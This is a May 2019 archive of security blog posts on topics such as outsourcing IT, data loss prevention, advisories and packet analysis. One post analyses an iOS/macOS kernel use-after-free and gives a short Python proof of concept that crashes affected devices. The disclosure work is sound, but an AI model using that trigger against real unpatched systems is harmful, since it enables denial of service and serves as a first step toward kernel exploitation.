Monthly Archives: May 2019

Know Your Limitations

At the end of the 1973 Clint Eastwood movie Magnum Force, after Dirty Harry watches his corrupt police captain explode in a car, he says "a man's got to know his limitations."

I thought of this quote today as the debate rages about compromising municipalities and other information technology-constrained yet personal information-rich organizations.

Several years ago I wrote If You Can't Protect It, Don't Collect It. I argued that if you are unable to defend personal information, then you should not gather and store it.

In a similar spirit, here I argue that if you are unable to securely operate information technology that matters, then you should not be supporting that IT.

You should outsource it to a trustworthy cloud provider, and concentrate on managing secure access to those services.

If you cannot outsource it, and you remain incapable of defending it natively, then you should integrate a capable managed security provider.

It's clear to me that a large portion of those running PI-processing IT are simply not capable of doing so in secure manner, and they do not bear the full cost of PI breaches.

They have too many assets, with too many vulnerabilities, and are targeted by too many threat actors.

These organizations lack sufficient people, processes, and technologies to mitigate the risk.

They have successes, but they are generally due to the heroics of individual IT and security professionals, who often feel out-gunned by their adversaries.

If you can't patch a two-year-old vulnerability prior to exploitation, or detect an intrusion and respond to the adversary before he completes his mission, then you are demonstrating that you need to change your entire approach to information technology.

The security industry seems to think that throwing more people at the problem is the answer, yet year after year we read about several million job openings that remain unfilled. This is a sign that we need to change the way we are doing business. The fact is that those organziations that cannot defend themselves need to recognize their limitations and change their game.

I recognize that outsourcing is not a panacea. Note that I emphasized "IT" in my recommendation. I do not see how one could outsource the critical technology running on-premise in the industrial control system (ICS) world, for example. Those operations may need to rely more on outsourced security providers, if they cannot sufficiently detect and respond to intrusions using in-house capabilities.

Remember that the vast majority of organizations do not exist to run IT. They run IT to support their lines of business. Many older organizations have indeed been migrating legacy applications to the cloud, and most new organizations are cloud-native. These are hopeful signs, as the older organizations could potentially  "age-out" over time.

This puts a burden on the cloud providers, who fall into the "managed service provider" category that I wrote about in my recent Corelight blog. However, the more trustworthy providers have the people, processes, and technology in place to handle their responsibilities in a more secure way than many organziations who are struggling with on-premise legacy IT.

Everyone's got to know their limitations.

4 Reasons Your Organization Needs a Data Loss Prevention Strategy

When deciding how to go about protecting your company’s sensitive data, there are plenty of different solutions to choose from, such as endpoint controls, file system controls, or even network traffic inspection. However, the technology is only as effective as the people and processes in charge of configuring, managing, and monitoring it.  That’s why it’s important that technology is not your only method of protecting your data, but instead a way to complement a strategy consisting of internal policies, procedures, and operations. This approach is called Data Loss Prevention (DLP), and should be implemented by every organization, regardless of size.

Why exactly should you consider a DLP strategy?  Here’s four of the main reasons:

1. You have sensitive information.

You have data; every company does. That data is important to your business, your customers, and you. We frequently hear about companies experiencing a data breach and only finding out months, or even years later, that there was a breach.  Take Marriott International, for example.  Marriott acquired a hotel chain called Starwood in 2016. What Starwood and Marriott didn’t know at the time was that Starwood had been breached in 2014. The attacker remained in the system after Marriott and Starwood merged their systems.

It wasn’t until 2018, four years later, that the breach was discovered. If Marriott had implemented an effective DLP strategy, they could have detected and purged the breach sooner through a number of different preventive or investigative procedures.

Your data is sensitive to your business’ success and should only be handled by people that you trust: you and your employees (on a least-privilege basis).

2.  Human error.

Employees can unintentionally leave sensitive data vulnerable. Whether that means they leave file systems vulnerable to unauthorized access, forget to flag an email as sensitive that contains Personally Identifiable Information (PII), or hand their coworker removable media with a list full of Social Security Numbers used for background checks, it should go without saying that humans can make mistakes.

That’s where a thorough DLP strategy can help; if a DLP solution is configured and monitoring your environment according to your policies, you can set enforced rules that prevent these mistakes and generate accurate reports and alerts.  Combine this with employee security training, and you have a chance to fix the potential damage to your business before it happens.

If you lack the resources to set up those configurations, reports, and alerts, you can hire a Managed Security Service Provider (MSSP) to take care of those for you.

3. Malicious Insider threats.

Consider the following scenario:

You hire an individual and they have been performing expertly. They seem to enjoy the job and they haven’t requested a raise in years. Little did you know that when you hired them, they immediately started stealing and selling your data to the highest bidder. This is an extreme scenario, but it does happen. There are organizations and nation-states that will pay top dollar for your sensitive data, and they will gladly target your employees to do it.

Implementing a DLP strategy that includes thorough scenario training can discourage your employees from being persuaded into selling your data, as well as help catch those who do it. With properly trained employees and an effective chain of command, insiders can be reported by their peers at every possible point and be stopped before serious damage is done to your business’ reputation and resulting profits.

4. This is the 21st century of interconnectivity.

We’re connected to everything these days; it’s human nature to crave popularity, which has caused an obsession over online presence that doesn’t always take into account protecting sensitive data. When there’s so many easy ways to send, receive, and view different types of communications from so many devices, it’s easy to blur the line of what belongs on which devices.

We’ve already pointed out that humans make mistakes; why not use a well thought-out DLP strategy and implemented technology to keep an eye on your critical data and tell you when your employees do make those mistakes?  Whether you implement your own monitoring team or contract with an MSSP, a DLP solution will solidify those previously blurred lines of where that data does and doesn’t belong.

In summary, you need a DLP strategy because you have sensitive data, you employ humans who can or might want to sell your data, and even the best policies and procedures can’t stop someone from unknowingly exposing your company’s data. A Data Loss Prevention Strategy written with supporting technologies in mind can mitigate those risks.

Learn more about how Managed Security Services can help keep your data secure.

The post 4 Reasons Your Organization Needs a Data Loss Prevention Strategy appeared first on GRA Quantum.

Canva users advised to change your password

The ACSC is aware of a security incident affecting the Australian online design platform, Canva. Canva assures the ACSC it has taken the necessary steps to mitigate the incident and is encouraging all users to change their passwords as a precaution.

Suspected Bug Collision: iOS/OSX Content Filter Kernel UAF Analysis + POC

Suspected Bug Collision: iOS/OSX Content Filter Kernel UAF Analysis + POC


The iOS 12.3/MacOS 10.14.5 version was released on May 13th, 2019. This update patched a Use-After-Free vulnerability in the XNU kernel that ZecOps Research Team has independently discovered in early May 2019.  However, at the time of writing, ZecOps Team is not aware whether a CVE was assigned to this vulnerability since it was patched during our preparations to disclose this vulnerability to Apple.

Based on ZecOps forensics intelligence, we suspect that threat actors are exploiting this vulnerability in the wild against Mobile Device Management (MDM) users. ZecOps continue the investigation to confirm this conclusively. As a precaution, ZecOps advises updating iOS/OS X devices to the latest software version.

Once the initial code execution had been achieved, this potent vulnerability allows complete device takeover. Furthermore, this vulnerability can be accessed from sandboxed processes and applications on supervised devices.

Vulnerability details

The Network Extension Control Policy (NECP) is described in /bsd/net/necp.c.

The goal of this module is to allow clients connecting via a kernel control socket to create high-level policy sessions, which are ingested into low-level kernel policies that control and tag traffic at the application, socket, and IP layers.”

Starting MacOS 10.14 and iOS 12, UDP support contains a Garbage Collection (GC) thread which is added to the Content Filter.

 * A user space filter agent uses the Network Extension Control Policy (NECP)
 * database to specify which TCP/IP sockets need to be filtered. The NECP
 * criteria may be based on a variety of properties like user ID or proc UUID.
 * The NECP "filter control unit" is used by the socket content filter subsystem
 * to deliver the relevant TCP/IP content information to the appropriate
 * user space filter agent via its kernel control socket instance.
 * This works as follows:
 * 1) The user space filter agent specifies an NECP filter control unit when
 *    in adds its filtering rules to the NECP database.

The function cfil_sock_udp_get_flow first lookups an existing entry (comment 1 in the code sample below) of a combination of Local Address/Port, and Remote Address/Port (laddr, lport, faddr, fport). If an existing entry does not exist, a new entry will be generated and inserted into the head of cfentry_link.

A cfdb_only_entry pointer always points to the latest entry (comment 2 below).

Later, the cfil_info_alloc allocates a new cfil_info object which contains a unique identifier cfil_sock_id, then inserts the cfil_info into the tail of a linked-list called cfi_link (comment 3).

struct cfil_hash_entry *
cfil_sock_udp_get_flow(struct socket *so, uint32_t filter_control_unit, bool outgoing, struct sockaddr *local, struct sockaddr *remote)
    // See if flow already exists.
    hash_entry = cfil_db_lookup_entry(so->so_cfil_db, local, remote);//Comment 1: Check for existing entry
    if (hash_entry != NULL) {
		return (hash_entry);

    hash_entry = cfil_db_add_entry(so->so_cfil_db, local, remote);//Comment 2
    if (hash_entry == NULL) {
        CFIL_LOG(LOG_ERR, "CFIL: UDP failed to add entry");
		return (NULL);

    if (cfil_info_alloc(so, hash_entry) == NULL || // Comment 3
        hash_entry->cfentry_cfil == NULL) {
        cfil_db_delete_entry(so->so_cfil_db, hash_entry);
        CFIL_LOG(LOG_ERR, "CFIL: UDP failed to alloc cfil_info");
        return (NULL);

The GC thread wakes up every 10 seconds, it adds the sock_id of the expired sockets into a list called expired_array (Comment [a] below), then frees the cfil_info in the expired_array in another loop (Comment ).

cfil_info_udp_expire(void *v, wait_result_t w)

    TAILQ_FOREACH(cfil_info, &cfil_sock_head, cfi_link) {
        if (expired_count >= UDP_FLOW_GC_MAX_COUNT)

        if (IS_UDP(cfil_info->cfi_so)) {
            if (cfil_info_idle_timed_out(cfil_info, UDP_FLOW_GC_IDLE_TO, current_time) ||
                cfil_info_action_timed_out(cfil_info, UDP_FLOW_GC_ACTION_TO) ||
                cfil_info_buffer_threshold_exceeded(cfil_info)) {
                expired_array[expired_count] = cfil_info->cfi_sock_id;//[a]

    if (expired_count == 0)
        goto go_sleep;

    for (uint32_t i = 0; i < expired_count; i++) {

        // Search for socket (UDP only and lock so)
        so = cfil_socket_from_sock_id(expired_array[i], true);//[b]
        if (so == NULL) {

        cfil_info = cfil_db_get_cfil_info(so->so_cfil_db, expired_array[i]);
        cfil_db_delete_entry(db, hash_entry);

The cfdb_only_entry should be set to NULL in function cfil_db_delete_entry. However the db->cfdb_only_entry = NULL;(line 25) is never executed.

Upon a closer look at the cfil_db_get_cfil_info function, a different path will be executed when only a single entry is left (fast path) for better performance.

struct cfil_info *
cfil_db_get_cfil_info(struct cfil_db *db, cfil_sock_id_t id)
    struct cfil_hash_entry *hash_entry = NULL;


	// This is an optimization for connected UDP socket which only has one flow.
	// No need to do the hash lookup.
	if (db->cfdb_count == 1) { //fast path
		if (db->cfdb_only_entry && db->cfdb_only_entry->cfentry_cfil &&
			db->cfdb_only_entry->cfentry_cfil->cfi_sock_id == id) {
			return (db->cfdb_only_entry->cfentry_cfil);

	hash_entry = cfil_db_lookup_entry_with_sockid(db, id);
	return (hash_entry != NULL ? hash_entry->cfentry_cfil : NULL);

If two different cfil_info objects have the same cfil_sock_id, the following flow occurs:

In the 1st loop cfil_db_get_cfil_info returns entry2 which is the first element of the cfentry_link that will be freed in later execution;
In the 2nd loop cfil_db_get_cfil_info goes into the fast path and returns the object pointed by cfdb_only_entry which is the freed entry2, so the kernel will panic in later execution as a result of a Use-After-Free vulnerability.

+--------------------+       +-----------------+
|   entry 2         <--------+ cfdb_only_entry |
+--------------------+       +-----------------+
|   entry 1          |

Vulnerability Reproduction

In order to generate the cfil_sock_id collision, we need to know how the cfil_sock_id was built.

The cfi_sock_id is calculated by so_gencnt, faddr, laddr, fport, lport.

so_gencnt is the generation count for sockets and it remains the same for a single socket. The higher 32 bits are from so_gencnt, and the lower 32 bits are an XOR operation result based on laddr, faddr, lport, and fport.

#define CFIL_HASH(laddr, faddr, lport, fport) ((faddr) ^ ((laddr) >> 16) ^ (fport) ^ (lport))
hashkey_faddr = entry->cfentry_faddr.addr46.ia46_addr4.s_addr;
hashkey_laddr = entry->cfentry_laddr.addr46.ia46_addr4.s_addr;
entry->cfentry_flowhash = CFIL_HASH(hashkey_laddr, hashkey_faddr,
// This is the UDP case, cfil_info is tracked in per-socket hash
cfil_info->cfi_so = so;
hash_entry->cfentry_cfil = cfil_info;
cfil_info->cfi_hash_entry = hash_entry;
cfil_info->cfi_sock_id = ((so->so_gencnt << 32) | (hash_entry->cfentry_flowhash & 0xffffffff));
CFIL_LOG(LOG_DEBUG, "CFIL: UDP inp_flowhash %x so_gencnt %llx entry flowhash %x sockID %llx",
         inp->inp_flowhash, so->so_gencnt, hash_entry->cfentry_flowhash, cfil_info->cfi_sock_id);

Sending two identical UDP requests will only generate one cfil_info object and at least one of the laddr, lport, faddr, fport should be different so the function cfil_sock_udp_get_flow doesn’t return immediately after cfil_db_lookup_entry.

struct cfil_hash_entry *
cfil_db_lookup_entry(struct cfil_db *db, struct sockaddr *local, struct sockaddr *remote)
        if (nextentry->cfentry_lport == matchentry.cfentry_lport &&
            nextentry->cfentry_fport == matchentry.cfentry_fport &&
            nextentry->cfentry_laddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_laddr.addr46.ia46_addr4.s_addr &&
            nextentry->cfentry_faddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_faddr.addr46.ia46_addr4.s_addr) {
            return nextentry;

In summary, in order to reproduce this panic, we need to send two UDP requests that meet the following prerequisites:

  1. Identical so_gencnt, which means the same socket object;
  2. Identical flowhash;
  3. Different addresses or ports.

The requirements can be fulfilled by crafting the faddr, fport value.

POC Setup Environment

Running the PoC on your MacOS might not take effect unless your device has MDM enabled. To trigger the vulnerability, the device should meet the following conditions:

  1. At least one Content Filter is attached.
  2. A NECP policy which affects UDP requests is added to the NECP database.
  3. The affected NECP policy and the attached Content Filter have the same filter_control_unit.
cfil_sock_udp_handle_data(bool outgoing, struct socket *so,
                          struct sockaddr *local, struct sockaddr *remote,
                          struct mbuf *data, struct mbuf *control, uint32_t flags)

    if (cfil_active_count == 0) {//[a]
        CFIL_LOG(LOG_DEBUG, "CFIL: UDP no active filter");
        return (error);
    filter_control_unit = necp_socket_get_content_filter_control_unit(so);//[b]
    if (filter_control_unit == 0) {
        CFIL_LOG(LOG_DEBUG, "CFIL: UDP failed to get control unit");
        return (error);
    hash_entry = cfil_sock_udp_get_flow(so, filter_control_unit, outgoing, local, remote);
    if (hash_entry == NULL || hash_entry->cfentry_cfil == NULL) {
		CFIL_LOG(LOG_ERR, "CFIL: Falied to create UDP flow");
        return (EPIPE);

The content filter is not activated by default and to attach it manually, we need to run Apple’s network-cmds cfilutil. Please note that cfilutil is not a pre-installed tool and you might want to compile it from the source code.

The following command activates the content filter in a way that the check in line [a] would pass.

sudo cfilutil -u [control_unit]

Control_unit is an integer value that should be the same as the filter_control_unit as in the NECP policy.

sudo cfilutil -u 100

Proof of Concept Code

The PoC code is surprisingly simple, only a few lines of Python code are required to implement it. The device will panic in a few seconds after running the PoC code. The address&port pair in the PoC is different while having the same flowhashin Content Filter:

# PoC - CVE-2019-XXXX by ZecOps Research Team ©
# © - Find and Leverage Attacker’s Mistakes&#x2122; 
# Intended only for educational purposes
# Considered as confidential under NDA until responsible disclosure
# Not for sale, not for sharing, use at your own risk

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = b'ZecOps'
address = ('', 8080)
s.sendto(msg, address)

address = ('', 7824)
s.sendto(msg, address)

The following panic was generated on OS X following an execution of the POC:

*** Panic Report ***
panic(cpu 0 caller 0xffffff800c014cae): Kernel trap at 0xffffff800c285638, type 13=general protection, registers:
CR0: 0x000000008001003b, CR2: 0x0000000108c06ab0, CR3: 0x000000000f375000, CR4: 0x00000000001606e0
RAX: 0xffffff80195b67d0, RBX: 0xffffff800cac6d90, RCX: 0x0100000100000000, RDX: 0x0000000100000000
RSP: 0xffffff8067563f60, RBP: 0xffffff8067563fa0, RSI: 0xffffff8067563c58, RDI: 0xffffff804660f000
R8:  0x0000001078d5b42a, R9:  0x0000000000000000, R10: 0xffffff8046610520, R11: 0x0000000000000000
R12: 0xc0ffee4fc790eb7a, R13: 0x0000000000000000, R14: 0xffffff801638cba0, R15: 0xffffff80195cee88
RFL: 0x0000000000010282, RIP: 0xffffff800c285638, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000108c06ab0, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0

Backtrace (CPU 0), Frame : Return Address
0xffffff800bd5d280 : 0xffffff800be8e46d 
0xffffff800bd5d2d0 : 0xffffff800c025436 
0xffffff800bd5d310 : 0xffffff800c014a62 
0xffffff800bd5d380 : 0xffffff800be29ae0 
0xffffff800bd5d3a0 : 0xffffff800be8db2b 
0xffffff800bd5d4d0 : 0xffffff800be8d953 
0xffffff800bd5d540 : 0xffffff800c014cae 
0xffffff800bd5d6b0 : 0xffffff800be29ae0 
0xffffff800bd5d6d0 : 0xffffff800c285638 
0xffffff8067563fa0 : 0xffffff800be290ce 

BSD process name corresponding to current thread: kernel_task


After the patch of MacOS 10.14.5/iOS 12.3, the db->cfdb_only_entry = NULL;(line 18), can be correctly executed


ZecOps Threat Forensics Team advises updating iOS devices to the latest version.  This should break the exploit chain which leverages this vulnerability and make it no longer functional. As a result, threat actors that leverage this vulnerability on affected MDM devices will lose persistency. As a result, compromised devices following Apple’s iOS update will get disinfected. If you suspect that your devices were attacked by an exploit that leverages this vulnerability, please reach out to ZecOps here.

Partners, Resellers, Distributors and Innovative Security Teams: We’re still in stealth mode, but… we are already working with leading organizations globally. If you wish to learn more about what we do and what fresh vibes we bring to defensive cyber security, contact us here.

Researchers: If you get excited about bugs, vulnerabilities, exploits reproduction, and Digital Forensics and Incident Response (DFIR) like we do, don’t forget to register to ZecOps Reverse Bounty program here.

7 Steps to Strengthen Your Cybersecurity Program Today

Managing a security program in today’s ever-changing cyber threat landscape is no small feat. Many administrators struggle with knowing where to even start. Cybersecurity programs must be continually evaluated and should evolve as cyber threats and company risks change; however, these steps will guide you in the right direction to begin strengthening your security program today.

 1.  Assess your current security program.

The best way to assess a security program is to first choose a framework best for your company. A good framework to follow is the NIST Cybersecurity Framework, which is a comprehensive guide to baseline security requirements and controls any company can implement to strengthen a security program. For companies of all sizes, implementing a security control or practice must be evaluated from a business standpoint to determine if the benefit to the business outweighs the cost of the security control. Following a framework for this evaluation will help you prioritize cybersecurity initiatives and give your organization a clear roadmap for the way you want to develop a cybersecurity program.

2.  Identify what data you have and where it lives.

Data cannot be protected if the custodians don’t know it exists, or where it exists. Identification of the data stored, created, or controlled by a company is crucial to understanding your cybersecurity and data protection priorities. Further, identifying whether sensitive data is stored in cloud services, on hard drives, or in file servers can drastically change the strategy needed in order to protect that data. Even Data Loss Prevention (DLP) tools are less effective if the tool is not focused on the right locations to determine whether data is being accessed or is leaving the protected network in some way. Identifying data locations can also help you to ensure your proprietary or confidential data is moved from less secure locations, such as private cloud storage accounts, to secure, company-controlled environments like an enterprise cloud account.

3.  Implement and enforce policies to combat insider threat.

Policies and procedure are essential to combat the human element of cybersecurity. Employees often do not understand what they can and cannot do with a company’s documents, hardware, and system access if there are no policies in place to guide them. An insider threat isn’t necessarily a nefarious actor out to steal company data; it often presents itself in examples such as a well-meaning employee who shares a document with a partner in an insecure way – exposing the data to unauthorized access.

4.  Implement a security awareness training program.

Continuing with the theme of well-meaning employees, phishing attacks are the cause of data breaches in 98% of the cases reported (Verizon DBIR). Anti-phishing measures can only go so far to detect phishing attacks, so it’s up to the employee to know how to recognize a phishing email, and to know what to do with it. Security awareness training can teach an employee to recognize the signs of phishing emails and may prevent the employees and the company from falling victim to a phishing attack.

5.  Talk to your IT team for multi-factor authentication and anti-phishing measures.

Multi-factor authentication (MFA) is one of the best security controls you can implement to prevent unauthorized access to company systems.  Simply put, MFA works by adding not only something the user knows (i.e. a password) but also something the user has (i.e. a texted code to a cell phone, or better yet, a hardware key an employee has to interact with) to access a system. Many instances of unauthorized system access could have been thwarted by a company’s use of MFA on their critical systems. In addition, as mentioned above, phishing attacks are responsible for a large majority of data breaches and anti-phishing measures should be taken to protect corporate email systems.

6.  Implement a third party vendor risk management program.

Many companies work with third-party vendors and service providers and in some cases, these providers need access into corporate infrastructure and IT systems.  You can invest millions or even billions into your cybersecurity program, but it can be for nothing if a trusted service provider becomes compromised. As is the case in many high-profile breaches, it was the service provider who suffered the breach, in turn causing their partners to suffer the same fate.  Implement a third-party risk management program in which new and existing service providers must show proof of their internal security program practices and controls, before allowing them access into a corporate system.

7.  Implement onboarding and offboarding policies that integrate HR and IT.

When onboarding a new employee, a policy needs to be in place that allows for your HR and IT departments to work together to determine what information the new hire needs access to in order to do their job.  Equally important, you must also have a policy in place for offboarding.  Without proper offboarding policies, former employees or contractors may still be able to access certain IT systems well after the they’ve left the organization. Cases where former contractors or employees retained access to a company’s IT systems for months or even years after that access should have been revoked are not uncommon. And in many cases, an employee leaves a company involuntarily, and decides to use their company access to destroy documents, steal company intellectual property, and can be as destructive as deleting entire servers and infrastructure. Access to systems should be approved by HR (to prevent extra accounts and backdoors from being created without company knowledge), and departed employees should be immediately deprovisioned from all systems.

Implementing any cybersecurity controls or program initiatives requires a company culture shift and executive buy-in. However, organizations, no matter the size, simply cannot afford to ignore security, nor can they wait for a breach to occur before security is taken seriously. The steps outlined in this post will be an excellent start to a strong security program and will help you gain traction for future program changes and improvements.

Download the Checklist to Share.

The post 7 Steps to Strengthen Your Cybersecurity Program Today appeared first on GRA Quantum.

Advisory – 2019-126: Vulnerable version of Telerik UI being actively exploited by APT actor

The Australian Cyber Security Centre (ACSC) has become aware that Advanced Persistent Threat (APT) actors have been scanning for and attempting exploitation against unpatched versions of Telerik UI for ASP.NET AJAX using publically available exploits. Successful exploitation could allow an attacker to upload files to the vulnerable server to facilitate further compromise.

Dissecting Weird Packets

I was investigating traffic in my home lab yesterday, and noticed that about 1% of the traffic was weird. Before I describe the weird, let me show you a normal frame for comparison's sake.

This is a normal frame with Ethernet II encapsulation. It begins with 6 bytes of the destination MAC address, 6 bytes of the source MAC address, and 2 bytes of an Ethertype, which in this case is 0x0800, indicating an IP packet follows the Ethernet header. There is no TCP payload as this is an ACK segment.

You can also see this in Tshark.

$ tshark -Vx -r frame4238.pcap

Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
    Encapsulation type: Ethernet (1)
    Arrival Time: May  7, 2019 18:19:10.071831000 UTC
    [Time shift for this packet: 0.000000000 seconds]
    Epoch Time: 1557253150.071831000 seconds
    [Time delta from previous captured frame: 0.000000000 seconds]
    [Time delta from previous displayed frame: 0.000000000 seconds]
    [Time since reference or first frame: 0.000000000 seconds]
    Frame Number: 1
    Frame Length: 66 bytes (528 bits)
    Capture Length: 66 bytes (528 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:ethertype:ip:tcp]
Ethernet II, Src: IntelCor_12:7d:bb (38:ba:f8:12:7d:bb), Dst: Ubiquiti_49:e0:10 (fc:ec:da:49:e0:10)
    Destination: Ubiquiti_49:e0:10 (fc:ec:da:49:e0:10)
        Address: Ubiquiti_49:e0:10 (fc:ec:da:49:e0:10)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Source: IntelCor_12:7d:bb (38:ba:f8:12:7d:bb)
        Address: IntelCor_12:7d:bb (38:ba:f8:12:7d:bb)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Type: IPv4 (0x0800)
Internet Protocol Version 4, Src:, Dst:
    0100 .... = Version: 4
    .... 0101 = Header Length: 20 bytes (5)
    Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
        0000 00.. = Differentiated Services Codepoint: Default (0)
        .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
    Total Length: 52
    Identification: 0xd98c (55692)
    Flags: 0x4000, Don't fragment
        0... .... .... .... = Reserved bit: Not set
        .1.. .... .... .... = Don't fragment: Set
        ..0. .... .... .... = More fragments: Not set
        ...0 0000 0000 0000 = Fragment offset: 0
    Time to live: 64
    Protocol: TCP (6)
    Header checksum: 0x553f [validation disabled]
    [Header checksum status: Unverified]
Transmission Control Protocol, Src Port: 38828, Dst Port: 443, Seq: 1, Ack: 1, Len: 0
    Source Port: 38828
    Destination Port: 443
    [Stream index: 0]
    [TCP Segment Len: 0]
    Sequence number: 1    (relative sequence number)
    [Next sequence number: 1    (relative sequence number)]
    Acknowledgment number: 1    (relative ack number)
    1000 .... = Header Length: 32 bytes (8)
    Flags: 0x010 (ACK)
        000. .... .... = Reserved: Not set
        ...0 .... .... = Nonce: Not set
        .... 0... .... = Congestion Window Reduced (CWR): Not set
        .... .0.. .... = ECN-Echo: Not set
        .... ..0. .... = Urgent: Not set
        .... ...1 .... = Acknowledgment: Set
        .... .... 0... = Push: Not set
        .... .... .0.. = Reset: Not set
        .... .... ..0. = Syn: Not set
        .... .... ...0 = Fin: Not set
        [TCP Flags: ·······A····]
    Window size value: 296
    [Calculated window size: 296]
    [Window size scaling factor: -1 (unknown)]
    Checksum: 0x08b0 [unverified]
    [Checksum Status: Unverified]
    Urgent pointer: 0
    Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
        TCP Option - No-Operation (NOP)
            Kind: No-Operation (1)
        TCP Option - No-Operation (NOP)
            Kind: No-Operation (1)
        TCP Option - Timestamps: TSval 26210782, TSecr 2652693036
            Kind: Time Stamp Option (8)
            Length: 10
            Timestamp value: 26210782
            Timestamp echo reply: 2652693036
        [Time since first frame in this TCP stream: 0.000000000 seconds]
        [Time since previous frame in this TCP stream: 0.000000000 seconds]

0000  fc ec da 49 e0 10 38 ba f8 12 7d bb 08 00 45 00   ...I..8...}...E.
0010  00 34 d9 8c 40 00 40 06 55 3f c0 a8 04 60 34 15   .4..@.@.U?...`4.
0020  12 db 97 ac 01 bb e3 42 2a 57 83 49 c2 ea 80 10   .......B*W.I....
0030  01 28 08 b0 00 00 01 01 08 0a 01 8f f1 de 9e 1c   .(..............
0040  e2 2c   

You can see Wireshark understands what it is seeing. It decodes the IP header and the TCP header.

So far so good. Here is an example of the weird traffic I was seeing.

Here is what Tshark thinks of it.

$ tshark -Vx -r frame4241.pcap
Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
    Encapsulation type: Ethernet (1)
    Arrival Time: May  7, 2019 18:19:10.073296000 UTC
    [Time shift for this packet: 0.000000000 seconds]
    Epoch Time: 1557253150.073296000 seconds
    [Time delta from previous captured frame: 0.000000000 seconds]
    [Time delta from previous displayed frame: 0.000000000 seconds]
    [Time since reference or first frame: 0.000000000 seconds]
    Frame Number: 1
    Frame Length: 66 bytes (528 bits)
    Capture Length: 66 bytes (528 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:llc:data]
IEEE 802.3 Ethernet
    Destination: Ubiquiti_49:e0:10 (fc:ec:da:49:e0:10)
        Address: Ubiquiti_49:e0:10 (fc:ec:da:49:e0:10)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Source: IntelCor_12:7d:bb (38:ba:f8:12:7d:bb)
        Address: IntelCor_12:7d:bb (38:ba:f8:12:7d:bb)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Length: 56
        [Expert Info (Error/Malformed): Length field value goes past the end of the payload]
            [Length field value goes past the end of the payload]
            [Severity level: Error]
            [Group: Malformed]
Logical-Link Control
    DSAP: Unknown (0x45)
        0100 010. = SAP: Unknown
        .... ...1 = IG Bit: Group
    SSAP: LLC Sub-Layer Management (0x02)
        0000 001. = SAP: LLC Sub-Layer Management
        .... ...0 = CR Bit: Command
    Control field: U, func=Unknown (0x0B)
        000. 10.. = Command: Unknown (0x02)
        .... ..11 = Frame type: Unnumbered frame (0x3)
Data (49 bytes)
    Data: 84d98d86b5400649eec0a80460341512db97ac0d0be3422a...
    [Length: 49]

0000  fc ec da 49 e0 10 38 ba f8 12 7d bb 00 38 45 02   ...I..8...}..8E.
0010  0b 84 d9 8d 86 b5 40 06 49 ee c0 a8 04 60 34 15   ......@.I....`4.
0020  12 db 97 ac 0d 0b e3 42 2a 57 83 49 c2 ea c8 ec   .......B*W.I....
0030  01 28 17 6f 00 00 01 01 08 0a 01 8f f1 de ed 7f   .(.o............
0040  a5 4a                                             .J

What's the problem? This frame begins with 6 bytes of the destination MAC address and 6 bytes of the source MAC address, as we saw before. However, the next two bytes are 0x0038, which is not the same as the Ethertype of 0x0800 we saw earlier. 0x0038 is decimal 56, which would seem to indicate a frame length (even though the frame here is a total of 66 bytes).

Wireshark decides to treat this frame as not being Ethernet II, but instead as IEEE 802.3 Ethernet. I had to refer to appendix A of my first book to see what this meant.

For comparison, here is the frame format for Ethernet II (page 664):

This was what we saw with frame 4238 earlier -- Dst MAC, Src MAC, Ethertype, then data.

Here is the frame format for IEEE 802.3 Ethernet.

This is much more complicated: Dst MAC, Src MAC, length, and then DSAP, SSAP, Control, and data.

It turns out that this format doesn't seem to fit what is happening in frame 4241, either. While the length field appears to be in the ballpark, Wireshark's assumption that the next bytes are DSAP, SSAP, Control, and data doesn't fit. The clue for me was seeing that 0x45 followed the presumed length field. I recognized 0x45 as the beginning of an IP header, with 4 meaning IPv4 and 5 meaning 5 words (40 bytes) in the IP header.

If we take a manual byte-by-byte comparative approach we can better understand what may be happening with these two frames. (I broke the 0x45 byte into two "nibbles" in one case.)

Note that I have bolded the parts of each frame that are exactly the same.

This analysis shows that these two frames are very similar, especially in places where I would not expect them to be similar. This caused me to hypothesize that frame 4241 was a corrupted version of frame 4238.

I can believe that the frames would share MAC addresses, IP addresses, and certain IP and TCP defaults. However, it is unusual for them to have the same high source ports (38828) but not the same destination ports (443 and 3339).  Very telling is the fact that they have the same TCP sequence and acknowledgement numbers. They also share the same source timestamp.

Notice one field that I did not bold, because they are not identical -- the IP ID value. Frame 4238 has 0xd98c and frame 4241 has 0xd98d. The perfectly incremented IP ID prompted me to believe that frame 4241 is a corrupted retransmission, at the IP layer, of the same TCP segment.

However, I really don't know what to think. These frames were captured in a Linux 16.04 VirtualBox VM by netsniff-ng. Is this a problem with netsniff-ng, or Linux, or VirtualBox, or the Linux host operating system running VirtualBox?

I'd like to thank the folks at for their assistance with my attempts to decode this (and other) frames as 802.3 raw Ethernet. What's that? It's basically a format that Novell used with IPX, where the frame is Dst MAC, Src MAC, length, data.

I wanted to see if I could tell Wireshark to decode the odd frames as 802.3 raw Ethernet, rather than IEEE 802.3 Ethernet with LLC headers.

Sake Blok helpfully suggested I change the pcap's link layer type to User0, and then tell Wireshark how to interpret the frames. I did it this way, per his direction:

$ editcap -T user0 excerpt.pcap excerpt-user0.pcap

Next I opened the trace in Wireshark and saw frame 4241 (here listed as frame 3) as shown below:

